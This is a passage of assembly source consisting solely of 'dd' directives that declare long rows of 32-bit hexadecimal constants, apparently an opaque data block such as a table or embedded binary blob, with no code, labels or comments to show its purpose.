dd 0B094DF37h, 0C04F1FF8h, 7B9442ACh, 5C95BD4Eh, 0AE5E1A16h
dd 3E940520h, 5AEC0BABh, 0F8519410h, 46BAF183h, 55109166h
dd 36B80056h, 4057172Bh, 1A8D480Fh, 297C3362h, 0A74B5509h
dd 3ABCDAD1h, 871649ADh, 5BFBFC0Ah, 148BF6A9h, 53B75478h
dd 4F3501F6h, 609DCEA6h, 0FEB05261h, 2F5B7F3Fh, 0DD70E275h
dd 0BA873AE5h, 606B44B9h, 3B2145F0h, 0CA00F990h, 3B0D0E2Dh
dd 352F860Fh, 683ECA01h, 545A687Ch, 1512562h, 0F2B7D1B1h
dd 0DC59CF28h, 0C1BD30DEh, 0DFF2C341h, 59EBC087h, 0FBF593C2h
dd 936841C5h, 0C48E3817h, 0CA1570D1h, 18E8C182h, 83208EF8h
dd 1F0E0B4h, 0C05A4E04h, 0D1FE03E0h, 73A3202Ch, 0C8422D41h
dd 0A4F5093Ah, 3BB02952h, 9B481208h, 60490219h, 0C8E07946h
dd 0C1822E8Dh, 0C0757D3Ah, 5B9D1C60h, 0D0794127h, 7B18B135h
dd 8400EFCh, 0BE09F5Bh, 5808DA8h, 3216046Eh, 85595009h
dd 3E85A886h, 384A85BFh, 36C24F70h, 2D8E7E08h, 0DCC2F85Ch
dd 0E88A108Eh, 1918B875h, 0E6B20E24h, 9A41D6Fh, 2CEB429h
dd 0E7E95808h, 0D482216Ah, 0B49031C2h, 285D49B6h, 0F6E90B32h
dd 0CCB7CBE7h, 0ADD2F7ACh, 0BE11506Bh, 0D8414427h, 62060123h
dd 16E91BA9h, 0B9328183h, 33526348h, 0FF60B4ADh, 0D7B85055h
dd 79C22C26h, 5D0B7F18h, 58C51631h, 4390AB29h, 0A88CEAE9h
dd 81D9CED4h, 61F27E59h, 4F60BEB5h, 5B2951E6h, 505EB835h
dd 2CC0875Bh, 0EDC0CDFEh, 0D1609D08h, 0D55020F4h, 48F68080h
dd 4105F5E6h, 6E9E828h, 44222D3h, 1315527Ah, 62C9012Dh
dd 20255A8Ah, 3364EB3Ah, 5296E82h, 0F6A2AA5Fh, 0BBADDA84h
dd 0DBA1E4A8h, 0DCF601D1h, 60271530h, 0F4801C8Fh, 396BE9BCh
dd 256DDEC5h, 1914D75h, 0CD5745EBh, 10BB3B44h, 5D3F0826h
dd 0E2F6B5F7h, 251AC57Ah, 10D8E477h, 722B3B84h, 84BA774Ah
dd 4A19E645h, 5F9C79E4h, 0BB9B255Bh, 549493CBh, 51DE8227h
dd 4A3F6878h, 81256528h, 24D81215h, 66B5B45Bh, 5ACFF011h
dd 8248A65Fh, 0F7D4AAE9h, 9713FDA4h, 624EB256h, 16BFE6D1h
dd 0F1AD3604h, 0BDF31393h, 9E094E11h, 891EF405h, 3250D6E9h
dd 0E476F9B5h, 1EB6B3DFh, 0E9453158h, 7E018DE5h, 0BAD26954h
dd 0B05B2C92h, 97757B91h, 44D7212Ch, 0C54B2D10h, 0A485BF4Bh
dd 7846E2EAh, 0ACB7F9B7h, 0DF6F09C3h, 0B69E6656h, 1074FB0Ch
dd 447D02B8h, 0E8D176DEh, 8262340h, 7C1FC427h, 97050195h
dd 0D401A92Eh, 0D9006CCEh, 20292D7Ah, 4EE923A6h, 0A8758553h
dd 9BE74A08h, 0F6F1F48h, 0ADCE8F85h, 0F00332A4h, 0F028020Eh
dd 6859C040h, 9867B225h, 39808C98h, 0F289C4CAh, 0CC7C2862h
dd 0AA67AB0Ah, 6073B362h, 0BD34DA6Ch, 0AD202964h, 880F16FCh
dd 0C6FD20D9h, 0BD5057FAh, 9FBC9FFFh, 0B838C623h, 13285819h
dd 0FB444D6Dh, 74AD6468h, 4F394C81h, 87CC4008h, 0E27CE51h
dd 761DE009h, 97FD9261h, 0BB022571h, 5E5B3755h, 0D8A4390Dh
dd 0BF005AE0h, 0C8693205h, 800F1905h, 56AB22A8h, 6BEA0BE6h
dd 36DDD9E2h, 0A539A5F9h, 84CB1257h, 2BE82633h, 7838AE5Ah
dd 0E839542Fh, 5F57EECEh, 311D9947h, 0CAC6A6Fh, 8A85E90Eh
dd 0EA55121Ch, 0F46FE6C9h, 3E34EBFAh, 4382465Eh, 0B7DC5555h
dd 0AD455CADh, 3AD8589Ah, 0E5E769A0h, 0E93AD305h, 0B2EE98C9h
dd 2D88D03Ch, 4D98DDECh, 0C9BF2A51h, 0FD7F8DB9h, 16A506D3h
dd 1A41160h, 3A35CE2h, 0E293E950h, 685011DEh, 33C6951Bh
dd 0FB75CB95h, 0C77B1338h, 0D608FD7Fh, 0D84BA2B8h, 5F59FA7Fh
dd 6B12964Eh, 612124E1h, 0DC2ABE3Eh, 0A724366Fh, 3BA544h
dd 6BE168D3h, 0A7B92AE1h, 0D50FE985h, 603C0E28h, 0A350142Ch
dd 0E291E8BDh, 8ED55C88h, 8006ED02h, 0E751CE5h, 1FC5C04Dh
dd 0B52D4CE9h, 5744B0FBh, 873A47A1h, 0E0261F05h, 0DA77EF15h
dd 6BCA3055h, 0B12FEEEDh, 41EBBCD2h, 48DF1BAh, 11C7C600h
dd 5CD15CBEh, 2324E1EBh, 8BFFAF69h, 69CF7529h, 89F5BA81h
dd 0FA2F90BFh, 0B10E4A2Dh, 0EF4EEC3Eh, 26E91DD8h, 84182A7Fh
dd 0EC39DB85h, 7C0E9318h, 0E2D95833h, 8D40B774h, 1883CDD2h
dd 219788D6h, 82430EFh, 330842FCh, 0D2F182B3h, 84DF682Ah
dd 13EFD467h, 2C61AE54h, 51500CF8h, 0BF213868h, 0D408B918h
dd 0AEEF37C0h, 90480B4Eh, 6E3A2EAh, 0B0E5B08h, 31731B84h
dd 46E5C8F8h, 0D8161C08h, 0DE200971h, 0AADD99E9h, 655CC0E9h
dd 0E1A2BD5Eh, 8209AC73h, 776938CCh, 0DBA085E5h, 0DFBBFF4Bh
dd 815C2707h, 0B058E915h, 0B64071AFh, 0B1160760h, 0E60B5F0Eh
dd 96F0D828h, 1B6152C0h, 2F20320Ah, 5958E1EAh, 4F3A83Eh
dd 2B4D7FC2h, 6E0A35C4h, 0FD61B4A6h, 0D9CB0C02h, 0D82E6772h
dd 1459462h, 84EF343Bh, 25AEB86Fh, 4022565Fh, 409D32BBh
dd 14D1012Fh, 0DB22C075h, 53127229h, 650013B8h, 4654F455h
dd 168DCE81h, 915F973h, 96293A4Bh, 5762C6D9h, 0C5B32660h
dd 22AF595Fh, 6F6A7B41h, 0BF5A4CDFh, 570B39CCh, 0D7536EE9h
dd 0EDECA99Ch, 9551AF3Dh, 40A20125h, 0C234E908h, 1AC29DD2h
dd 9737700Eh, 0F198443Ch, 0A5A96D58h, 4038AF82h, 0C952B8ABh
dd 6E01623Bh, 0F4371A32h, 0E4601583h, 4CBFE839h, 0BDD34F67h
dd 3E13100Bh, 0CC30B71Dh, 0B50EF227h, 0EA884407h, 64318059h
dd 0DA44FE52h, 8E26D81h, 5FDA9AEFh, 28EE9983h, 445867D7h
dd 0C2B1EFD3h, 68096E39h, 35C60E4Eh, 6CB6692Dh, 0CD815B11h
dd 12A4E017h, 13532C94h, 0FDF9E951h, 0F8EA3E14h, 0D1B78EFEh
dd 68C6CF79h, 0BF0B2C23h, 0DDE602F5h, 43474C00h, 0F75C5E1Ah
dd 0E3B57DF6h, 0DA404E16h, 40D14B31h, 0C004C8E0h, 1A0530D4h
dd 8E26727Bh, 8B9F6F61h, 3C7F2CD9h, 89173DF7h, 69B5872Ch
dd 0A9133A84h, 0F668C272h, 605DDE41h, 2A9C011Bh, 10E57297h
dd 487A3A8Bh, 93F54F6Dh, 0BFD05335h, 951578E8h, 5FFA157Ah
dd 0BEE45497h, 0BD403BAFh, 0F79522DDh, 13437912h, 53CB8D03h
dd 0DA0D181Bh, 9D10D0B8h, 0FD25E795h, 0B870FAECh, 20AD2E16h
dd 80402FBCh, 0E2CC5B58h, 883B84A8h, 0FCBE01D4h, 0A18D8D67h
dd 95B6E2D4h, 35C0D35Eh, 252C3287h, 72652155h, 0EEA074ACh
dd 58ED6839h, 0ABA8DEE4h, 45025F5Eh, 60DBF005h, 31E9FA95h
dd 0B32A1660h, 2FD8C1C5h, 0BC5FCBE6h, 70E57D1Dh, 0E9164FF8h
dd 80B262ABh, 78F0EB02h, 4A60318Bh, 0CA102607h, 3B3A4E19h
dd 10DB893h, 372AD5DEh, 7532AD56h, 2DF7B0Bh, 23978B5h
dd 0A360C183h, 0F4BF9542h, 536687D6h, 0D16CB252h, 1AD5954h
dd 5E2AFABDh, 2F16093Ah, 0FD87807Eh, 0C9C0E23h, 985CB07Ch
dd 8AD72733h, 462DA666h, 0A59D5B6Bh, 567535EAh, 6D12C08Ch
dd 0CEF0759Ch, 0F75F597Bh, 8C012529h, 57024839h, 37ED4840h
dd 1DC645E9h, 2D5C0F44h, 860A478Ah, 0A5D33C7h, 544FEF1Fh
dd 52ECFDE5h, 7EC070A2h, 588185EDh, 0BB4B2C62h, 2FBAFE85h
dd 0F0E9093Fh, 41297A7Ah, 1E87F63h, 0EA803684h, 413F048Ch
dd 0BBB870CCh, 2F93330Bh, 1FE055C2h, 0AD2DE9D9h, 6BE454E5h
dd 5BDAA4FDh, 550A00AAh, 0E9223817h, 0E60F9025h, 45210413h
dd 0C14E1142h, 6E309BDFh, 8A8165B9h, 6ED889C7h, 6358FB9Ah
dd 55097156h, 68AEE7E9h, 9E6287ABh, 287D65FFh, 3E0D4178h
dd 13FBB284h, 0A43EACE4h, 0E95242FBh, 3EC67CCEh, 3E5F2FF0h
dd 5F0BA7D8h, 0C175AA71h, 98649AA8h, 2865A0FBh, 3871D15Ch
dd 18F933C3h, 0E6B11040h
dd 98543DA0h, 8617DE19h, 80828220h, 8705E138h, 0D706E11Ah
dd 0C7F7E9E2h, 0BF923F49h, 2728EE74h, 0F6324A90h, 0AA044EC0h
dd 79B62261h, 487B7910h, 0E5180782h, 0A2B4ED6Eh, 0A2E89C94h
dd 2C28BE5Bh, 1B489D5Ah, 8DC942EBh, 27405385h, 805BC6C4h
dd 0BBD3C85h, 27372B4Bh, 0E9732101h, 282F08D6h, 0D94BFF98h
dd 9D608FC9h, 0BE3C165Ch, 50C2B825h, 752D6808h, 2CBF062h
dd 0D4647EC1h, 0F0DDBD55h, 45E92E87h, 31AD8471h, 13E6BED8h
dd 0DC23D025h, 50C116EDh, 0C4B32AA8h, 0EFF6622Ch, 0EDF6D924h
dd 0ED6010B9h, 1C30EE4Eh, 17E5C981h, 40DC036h, 0EB5DB65Fh
dd 8B074AB6h, 0A0E88AF1h, 0E454F5C2h, 8EED034Ah, 1C820841h
dd 5A746C19h, 81A513C5h, 3007684Ah, 10F0322Ah, 0B816B4D4h
dd 0F865C4AFh, 3B5B3F8Dh, 981CC94Fh, 99D67BC4h, 6E32BCA2h
dd 0C1F55BD5h, 0B76CB548h, 4B226809h, 0DD646456h, 5E33E8C2h
dd 7E3D607Bh, 0D09777AEh, 0BEF6D3E2h, 0E91792DFh, 51A1C295h
dd 595961F4h, 5892E020h, 0C80A5E7h, 0C12E2369h, 102BE05Dh
dd 0AD5F8830h, 6B8187D0h, 0B8054008h, 543F140Bh, 168C8B40h
dd 52EAF4C6h, 1DCD309h, 0D79B77EBh, 0D31DCBCh, 0F32A50Bh
dd 0E3C0F76Ah, 0ABD2EC68h, 3BDE4E0Ch, 3BE84C21h, 9D7FFD3Fh
dd 0D9520F54h, 9D56B05h, 0D8657796h, 829497BFh, 0CADEBEBDh
dd 0BB9C632Eh, 403E8424h, 2DD62CF6h, 0C5121C5Ah, 0D3B71CABh
dd 2B1FB0F5h, 44434117h, 134BC4FBh, 9256B208h, 4F620AE4h
dd 0DE0DA964h, 16454CCCh, 5A529FBBh, 0ADF86995h, 746F1335h
dd 255EF835h, 25FE5A2Dh, 0EC55A839h, 0D801A197h, 835C00FEh
dd 0E99702C3h, 0B57A1E5Fh, 23732071h, 7CC86C13h, 30FD5AB1h
dd 0F14E1B3Ch, 0C3E02416h, 0B1515800h, 8BB2527Fh, 78EA0C80h
dd 0DD0AD2F6h, 612C2F0h, 7E41A4E9h, 0FC6A8BBBh, 7998B03Eh
dd 0A0039517h, 172385FEh, 59DEB3AFh, 823F592Ch, 54782CE9h
dd 0E8A41DBh, 21992979h, 81559F45h, 0D1C7B7EBh, 207B61EFh
dd 9397167h, 56EF5EB6h, 0FA3B0559h, 85AD801Ah, 0DF027086h
dd 3CE9EF31h, 0B85C57C9h, 0E2D190C4h, 0EC3FD031h, 28FED726h
dd 61401599h, 0E48F5C66h, 0D41D2712h, 1049BE18h, 8BFCF15Dh
dd 0B1C1C2E9h, 82A7DB80h, 0F776E0A7h, 0DFD25A9Ch, 144AC08h
dd 0E35D3BBAh, 5C07300Bh, 80950AF6h, 0D8230D2Dh, 8042B7BFh
dd 14CC487Dh, 13C9F645h, 0A4896BE9h, 0EDA081CFh, 122D6D69h
dd 12BA585Dh, 0FA5F9517h, 5B08F507h, 0CDAB4C55h, 0A8110430h
dd 71FF972Eh, 811CB0ADh, 6F68BDA6h, 93E84E97h, 547CBFBAh
dd 9B7569h, 32FB314Bh, 65F089DEh, 6EDEF697h, 0C549BBB3h
dd 0D6A05DA3h, 4AF8DCF1h, 0CD09CB12h, 0DCF73909h, 1E6E63EBh
dd 72EF2B27h, 15C59C79h, 3D4ABA7Ah, 52F96FF8h, 402D95D4h
dd 0B316D144h, 21096608h, 28AC592Ah, 6679E19Bh, 0A4EEE909h
dd 0F67EECF5h, 0BF2C4A7Eh, 25501661h, 0A0D58C7Bh, 0AF4B6A43h
dd 58B74349h, 56040236h, 209A685Bh, 0B35339A0h, 0CB48FE77h
dd 80C803D1h, 0C428DFC1h, 853D2C83h, 4FB0E7ABh, 1A35C580h
dd 22EB2738h, 15711050h, 0B6F0FD4Bh, 669A2DE9h, 0D1627F54h
dd 0A519C9CFh, 5108CAE4h, 707D529h, 0ED1A0AC0h, 20DCB846h
dd 5B094497h, 0FF8C2C58h, 0D193660Eh, 6E5AE913h, 0A413BEC4h
dd 1A0CBFAh, 45EB5901h, 2A38E9C1h, 0ACD98113h, 82D6A17Fh
dd 0D220D34Dh, 5BC7E6CAh, 6E548802h, 2E68FD40h, 72B03035h
dd 69669180h, 12C0E12h, 7D0273D9h, 0C125316Ah, 0FE058CCFh
dd 188A13E2h, 39B99495h, 94F2A4Ch, 457F2975h, 647FA7DCh
dd 43F3B6EEh, 12055BDEh, 501779Fh, 94FB0594h, 0FF0B095Bh
dd 65A6D15Fh, 0C442F357h, 11142168h, 0E16A53Ch, 0ADE495BCh
dd 26816BBh, 6069EDB6h, 4DC4375h, 12E95E75h, 17D9B971h
dd 3FE942D3h, 34953E84h, 5AFFFF85h, 0A1FF0CCEh, 0C219E9DAh
dd 0C831288Bh, 6E632BF1h, 0EDA30E76h, 6FC7BFA7h, 0E4687C55h
dd 26EB5031h, 0A8043FC0h, 93C1B49Ch, 4781570Ah, 2674F9C3h
dd 0FDF3D866h, 0E1DB7E17h, 878F3804h, 5BA7550Bh, 0EB5D0501h
dd 31E9A1CCh, 0DC9969F7h, 66800B1h, 14EC9F1Ch, 1B059808h
dd 8FAA0138h, 0D8C12094h, 752DE908h, 0EE847253h, 0AA7B4A44h
dd 2B57084Fh, 0B9B5E1D7h, 80C9BD2Eh, 4F413D9Eh, 414C4601h
dd 5BCF260Ch, 27280BF1h, 0ABCDE9B0h, 970F86A4h, 6D3B5B5Ch
dd 0E5EC7938h, 0F01501ADh, 468F0F3Eh, 0ED19813Dh, 0BC0DFA67h
dd 75BA460h, 88094D41h, 382D60C6h, 704CD816h, 39D28C56h
dd 123FEB68h, 0BC6CAF81h, 0B8500253h, 67F47844h, 8209A284h
dd 85CBA977h, 813DC0B5h, 7C75D0CBh, 0D9DF40FFh, 194BFB7Dh
dd 0BA17FBB8h, 3796EB7Ah, 632417B0h, 1045F8ADh, 5D255239h
dd 55CAF3F6h, 80046710h, 0FB5968C6h, 7288A1A0h, 0ADE55CDCh
dd 0A92C6978h, 9410358Ah, 542FD852h, 0DBE8D76Bh, 3576736Ch
dd 1D14C971h, 0C43384h, 5B0D6DA4h, 3A2B8905h, 26807D9Dh
dd 29139864h, 7A32DC8h, 59110CADh, 8041116Ch, 6E95EA31h
dd 8812D306h, 53420BEEh, 668BC5DCh, 0E1737459h, 731DC268h
dd 0F3512492h, 2DAFF512h, 2C95F534h, 7F65E05h, 1EC65A10h
dd 0EEAEC148h, 246E273Ah, 8CBA6CCBh, 0F20E2D9Dh, 0A16F210Ch
dd 3DA24328h, 7EDB13Eh, 27115A07h, 9EF15FDh, 36FE565Ch
dd 91D73C1h, 2A47A12Ah, 0A6675DE6h, 0E946B1F7h, 0CC007B7Dh
dd 1FE2815Ch, 64A4251Dh, 6679A560h, 0EBFA7E77h, 0D329BF12h
dd 2EBDEC04h, 92C72712h, 26C86917h, 351F5BD8h, 4E567FA9h
dd 973F3F04h, 0BC80E907h, 6D40B30Bh, 84ACB08Ah, 970473C9h
dd 84BFA4E3h, 85748452h, 7A8CB16Ah, 707C48A8h, 5C958420h
dd 685A78FEh, 0D2FD2D5Eh, 4A864B10h, 680BEEB3h, 0AB15C50h
dd 75E8C1E9h, 9CFB2044h, 80D1F605h, 11C28DC9h, 0D4C2FFD2h
dd 0D976BB57h, 0DD8B423Fh, 8AE417C2h, 0FA6BD8FAh, 88095C10h
dd 283A72F6h, 0C9BD90D9h, 0D960FEBCh, 74834F57h, 9393FD52h
dd 904439FBh, 0AC5EEA82h, 0EEEC4F76h, 0F4E6A207h, 7513F261h
dd 0EB884A5Ch, 0FA010199h, 2F108768h, 71F518Ch, 0F7283102h
dd 40EAFED8h, 4D3F89A1h, 0F855DE12h, 6231B02Eh, 0C58816D5h
dd 49EE7C5Fh, 7A276079h, 5AD2BF27h, 2849E8B7h, 40D78269h
dd 59C77F61h, 4148CF6Bh, 34DE1916h, 638BAF89h, 4E5FF010h
dd 0FB7BC5BAh, 56987EA7h, 6794B954h, 2EADDEE9h, 2F808B85h
dd 8B9C8E14h, 0A50C435Bh, 3D12BE4Eh, 28EFC601h, 97F6F5Dh
dd 0ADC008A8h, 305AA1B5h, 508214ADh, 0D7EBCB0h, 0D4E91D07h
dd 0E3C10448h, 7BF48003h, 0CE7E6A6Fh, 68477325h, 0A9561F89h
dd 84F5E6D9h, 0AE4E986Ch, 0EA217A9Bh, 0EB8215AEh, 0D544E770h
dd 386433C1h, 38BB181Eh, 4AB36837h, 654A8C04h, 0DE160748h
dd 7008F0D2h, 68D62540h, 799AA208h, 0ADF5D2E9h, 616EA084h
dd 9359E4A9h, 42AEEB39h, 7B8D68B8h, 5B8306F1h, 4E298416h
dd 573F4BAEh, 0C084B0F7h, 0FFB090Dh, 0AF7FE6C1h, 734D82B8h
dd 89C98909h, 8E127CFEh, 0FB925350h, 8E49B31Fh, 0C291512Ch
dd 47E1EB01h, 0C6A581FCh, 2942788Dh, 4DEEED8h, 685D0740h
dd 0A830AE66h, 26EDCFBAh, 162CCC6Eh, 2139BE3Ah, 96E1BF9h
dd 8EF555AFh, 20EB8421h, 0C0A384BAh, 426D74CDh, 6F50E0BDh
dd 6563371Fh, 303F20D8h, 0E249D121h, 35EF00F8h, 69E9FC03h
dd 0F7D8835Bh, 6486475h
dd 97F93E90h, 0A6B2540Dh, 3FE812B1h, 0B1490EF7h, 0DCEA6814h
dd 0AA57288Fh, 0E0E9A829h, 0EBBC906Fh, 2D512521h, 0EAD62AF8h
dd 5A671F6Ah, 27E9844Ah, 2430AE7Ch, 0CF71A568h, 2D30DD61h
dd 0FEBAD55Ah, 8029F07Dh, 2F077586h, 0EFDA4620h, 30016698h
dd 0E93E8D0Bh, 0DD486A7Bh, 3A401788h, 0A6360044h, 1254E24h
dd 406CF14Ch, 5B6F5E08h, 8D2B4D8Fh, 9F59653Ch, 5E683910h
dd 9CCD47ABh, 0F757003Bh, 5F32E9DBh, 0C0423459h, 9D50292Ah
dd 3BC6BF48h, 720D4C10h, 0B8329717h, 220C9E72h, 5D158B5h
dd 0EB840FEDh, 27CBBD2Bh, 5093F45Bh, 7397519Bh, 6ED6A56Fh
dd 4147D42h, 0BC53805Ah, 464FDA43h, 0E6C74AACh, 6FAE123Eh
dd 0CC37807Fh, 0B86AFC79h, 39685F65h, 0F3A82B76h, 0AE466DC5h
dd 1660F73Dh, 30404E10h, 0FF46E51Ch, 21BE2E04h, 0BC814BD9h
dd 1056BB8h, 4114BBC7h, 0D54D7004h, 7E3309BFh, 50BEEF3Ah
dd 4F680A69h, 0B780302Ch, 0E9C7FE8Eh, 0B7B3B266h, 0A5CFEC7Eh
dd 0F4FB3E43h, 8D4A3533h, 37C78CFAh, 0F6A1303Ah, 0FD2D9C96h
dd 0F8CEFC0Ch, 1B413BF1h, 0EBD7338h, 80631120h, 0BDA83CD3h
dd 7FC013C0h, 0D109E2EBh, 4D94F64Fh, 7B582727h, 55F54E5Bh
dd 0EFD116D0h, 0E15E8C04h, 0E6A229ABh, 429530D8h, 0FDC7ABA2h
dd 3C3EF9E1h, 234A5081h, 33A2ECBFh, 0FDE114FBh, 0E8C2B9BFh
dd 3EF09981h, 0D259207Fh, 0E2EA8100h, 8974B15Eh, 40CA90D5h
dd 0B40DB95Ch, 0C03CA029h, 812CA763h, 9EA2C93Ah, 0C561F8Ch
dd 0F56D3A62h, 0F60DB92h, 40812983h, 9AEE14FCh, 58E71CC4h
dd 0FABEBA50h, 760B672Dh, 0DEBF7AF2h, 2F2D5033h, 1FA83FE1h
dd 31BBB4h, 0E2105D4Bh, 93266822h, 0E4005534h, 31EF67F7h
dd 0AE917D1h, 0CD6CBEA0h, 847A27E9h, 5E72B268h, 1FEB7DC2h
dd 33C0550Bh, 520288F3h, 8B0F167Fh, 0F5CC4A46h, 8916B9ECh
dd 0C6B856F2h, 350D521Dh, 0E0C7520Ch, 77419639h, 6285CA09h
dd 0B229310Ch, 20B94CA9h, 0EC882C33h, 49E71D60h, 96575BFEh
dd 39F7FE65h, 803A595Ah, 266041A5h, 0D1B75BD9h, 456DC267h
dd 4044B2F7h, 2546EBDCh, 0E17751FDh, 16B8CE40h, 7F6A7200h
dd 402CD81h, 0F261F92Fh, 7BAE255Eh, 59D72B18h, 6636E24h
dd 0F154022Dh, 220F4EFEh, 80EE3B09h, 10223A28h, 0CD28057Fh
dd 4D2AD729h, 0F37FC033h, 0D381B12h, 6B86C80Eh, 0E38400CFh
dd 0BD984D7Dh, 232C3D00h, 0DD98686Eh, 214A43B0h, 0A6B34585h
dd 8C20913h, 0AC1D087Ah, 262EC48Dh, 957EBCECh, 589C3120h
dd 0C0DC5414h, 814FB1ECh, 463A3169h, 60F18EF0h, 57C21962h
dd 4D63B90Bh, 10D07630h, 7BB58C53h, 574E887Eh, 0F4B36CEFh
dd 0C9810F9Dh, 0FD120252h, 48D820BEh, 2E27AD35h, 3224138h
dd 0A726132Bh, 5E664C7Fh, 0BAD708A2h, 4090D99Dh, 135F3B11h
dd 28E50AEBh, 10AAB27Ah, 3C738089h, 0D21370E3h, 888B471Fh
dd 0A2F827EFh, 0B4F57585h, 0C11E5A5Eh, 20DF017Ah, 7595D9AAh
dd 68421390h, 5D4F482h, 0F80A8312h, 8FB93A53h, 853D7745h
dd 50CAB3B7h, 7EA6CD4Eh, 5B7858A3h, 6828FF23h, 81669759h
dd 0B90C3498h, 187FDD34h, 0B80F139Ch, 4420BA6Fh, 4F17A003h
dd 6BBB89A5h, 82E496A9h, 8B6C2FCFh, 7D15CC25h, 1CFA7C14h
dd 9EF9B36Dh, 58C7F42Fh, 21BA15FAh, 0B57CBEA2h, 0B3058F38h
dd 364AC60Ch, 68510336h, 3082757Ah, 0B890D87Dh, 81404596h
dd 2F1626EFh, 54EA0EE4h, 0A0E90802h, 0BBAA826Bh, 75078955h
dd 0FCBFEC14h, 20E851BBh, 0E89D6E91h, 824F77ECh, 103C3F68h
dd 90DFF780h, 0C529777h, 5B94F390h, 46015F27h, 2FF03023h
dd 680B99E6h, 94D77A89h, 6AE9129Bh, 59C8FEF3h, 32954B68h
dd 0DECA5055h, 4EE3F85Fh, 0E443135Bh, 316941DCh, 30ED5D40h
dd 254980A0h, 7CC82794h, 0A1BBC09Ah, 6600B420h, 0D5BD821h
dd 1740389Ch, 4351E92Fh, 6C015A31h, 0E76BB310h, 93890F09h
dd 0F28016E0h, 243C8A4Ch, 5C660948h, 58D0488Ah, 0CB809F76h
dd 1F1E65C6h, 201C426Fh, 0E92C9597h, 2985B717h, 44B3AF58h
dd 7DDC0969h, 2646953Bh, 0BC5512EEh, 8884F2ABh, 526E272Bh
dd 9295C0BDh, 63F70D71h, 252C4F5Fh, 0D8292AECh, 0D269E63Eh
dd 60E4FAA8h, 0F51A37A7h, 0C3817D01h, 820AE5CDh, 18CC2E82h
dd 69FC4D33h, 0E93F08A0h, 9D7627Eh, 44550B0Fh, 3C7F97A9h
dd 8CC05D7Ah, 0D3D80F5Bh, 0E96FCEA4h, 299ED34Eh, 4464FE4Eh
dd 0F2312300h, 0A53D48E9h, 3F531FB6h, 38E87525h, 0F639BEB1h
dd 0C0D914D1h, 0E14A73AFh, 0A40CB9BCh, 8826CE28h, 42A0DD4Bh
dd 1CF6F0EEh, 0BCDE30D3h, 0E6C008E1h, 0D2896E05h, 0A326BA7Ch
dd 0E93704CFh, 6909BA0Dh, 0C8D97D59h, 9230FA58h, 0B4CA504Fh
dd 0E5174AA3h, 0B45F4192h, 49D2076Ch, 9FCFF227h, 0D656FAB2h
dd 0E9545560h, 0D52BE73Bh, 0E862BFA6h, 0D1105FC7h, 0E2BF1BE9h
dd 9DE5D548h, 44177E25h, 0DFBBEC5Ah, 0E9499C16h, 96E3DD05h
dd 87EF50D1h, 0A3E6814h, 98A35A16h, 311D4F70h, 89D3FDE2h
dd 0F72A652Bh, 0DB4A9AB1h, 5BDAE312h, 3AC26E07h, 61C84E62h
dd 0FE0428D8h, 1C77EE82h, 6CC28016h, 5F14A7B0h, 0C6ECE886h
dd 5A7102E8h, 31F388FDh, 0E5045E45h, 1514CBFFh, 5A54598Ch
dd 45ED41FBh, 6B3F8F0Fh, 0CCAA1316h, 0B79448BCh, 89F18A00h
dd 77205EFh, 3519D10Ah, 36B3528Dh, 0BF937455h, 0BA100480h
dd 2DD80117h, 5E5D07A2h, 0FA28FA2Eh, 36E9E109h, 932D290Dh
dd 0E85A15E8h, 954F592h, 2A39131Eh, 65856BA9h, 6199EA67h
dd 0BE1C702h, 0A6CFE575h, 470F1B71h, 733573FFh, 80170E7Ah
dd 78F3E388h, 0D64B4C10h, 32EAEA04h, 0D2B25202h, 0FED4EA80h
dd 792FE9CAh, 0F1C24416h, 0D33F1BFDh, 0E0C1959Fh, 29E32F94h
dd 174D571Fh, 0F206BB42h, 2D8EEFD1h, 6344F949h, 0F6EC12C9h
dd 7AB12432h, 52C3F457h, 25254C5Dh, 0C6EC21D8h, 41B25180h
dd 0A0D459Fh, 63A9651Dh, 83D05752h, 0F8BFC47Ah, 0FFC9E36h
dd 0CD16F201h, 6430F927h, 98995D6Dh, 16780569h, 7E0502D0h
dd 37AE241Fh, 0F807A02Ah, 0AD59121Ah, 3A4A0F64h, 0AC686AE1h
dd 76316E12h, 35E5692Ah, 0AC2C243Ah, 1FBE85F5h, 0AC0E165Eh
dd 8BEF123Ch, 86651212h, 34BA6F91h, 3868742Fh, 0F12D68B8h
dd 0F4A14C61h, 37534B85h, 0C7730071h, 5F122549h, 0AD01D472h
dd 3701756Ch, 0E0D1042Fh, 93C7FA08h, 0EBE248D1h, 26E98034h
dd 8D427CF8h, 6FAB6CD6h, 92AD2E56h, 83327E05h, 2EE4C078h
dd 0F16875Eh, 4F8459E9h, 4AF2708Ch, 1798FAA6h, 8B989ED2h
dd 516649A8h, 0CF6D1302h, 0D483E902h, 0E7BE013Ch, 0EB44645Dh
dd 5E7C809Ah, 0D90F77A5h, 0FE0E4D64h, 612A48D9h, 5D62FD9Ah
dd 19E92A97h, 45755A8Bh, 2EC62FE0h, 0A84F205h, 0C0BB4250h
dd 3B357EF5h, 1071E918h, 4852F847h, 0ED13C288h, 0C631BEACh
dd 0D2CCD62h, 64020CB2h, 76E69471h, 2F008CE9h, 552B613h
dd 1365348Dh, 0F5820F3Eh, 0BFA87A36h, 0F95FD0C6h, 0B313A42Ah
dd 9F31030Fh, 7D80B232h, 0B216778Ah, 0A592209Bh, 671D16C4h
dd 0A573C445h, 0B7850182h, 82DE285Bh, 0D725EE68h, 0AD80D696h
dd 3927191Dh, 32B57A47h, 16577DA6h, 0C4BFA7C8h, 4F357717h
dd 225614EEh, 0C655B500h, 3DBB5312h, 6CD22802h, 0DFF593E9h
dd 0B32687A2h, 5468BA00h, 0AA314A79h, 506A18D1h, 0AF027C72h
dd 313F891Ch, 97DD7C77h, 0B873C814h, 883B3900h, 1E8A2D43h
dd 0D590A2FFh, 2D6A7232h
dd 4C82F955h, 71496821h, 0C3E909F3h, 0D4C95D0Ch, 270FBE6Ch
dd 557D62EBh, 249E7F3h, 4A096DAEh, 0B44B619Ah, 227B6800h
dd 0D14D61C5h, 0B50A77ABh, 21029189h, 6AFC7AD0h, 8887E8F1h
dd 909BE8Fh, 0F55C4BB5h, 866FA63Fh, 8E905FA8h, 2F30AD20h
dd 2F80FB4h, 25CC073h, 0D51F1617h, 0BF2D3A91h, 13640CA6h
dd 8892A047h, 207EE15Ch, 0FED89D4Ah, 13626725h, 505FFAAEh
dd 38B905D7h, 0FB29C366h, 67E09341h, 0C9D97D4Fh, 7C1E63D8h
dd 0CCE10345h, 0C10E370Dh, 594BB2B6h, 4B2952EEh, 5CF25530h
dd 92B4501Eh, 39C3A553h, 820E2CB0h, 0DDF7829Fh, 5140EE87h
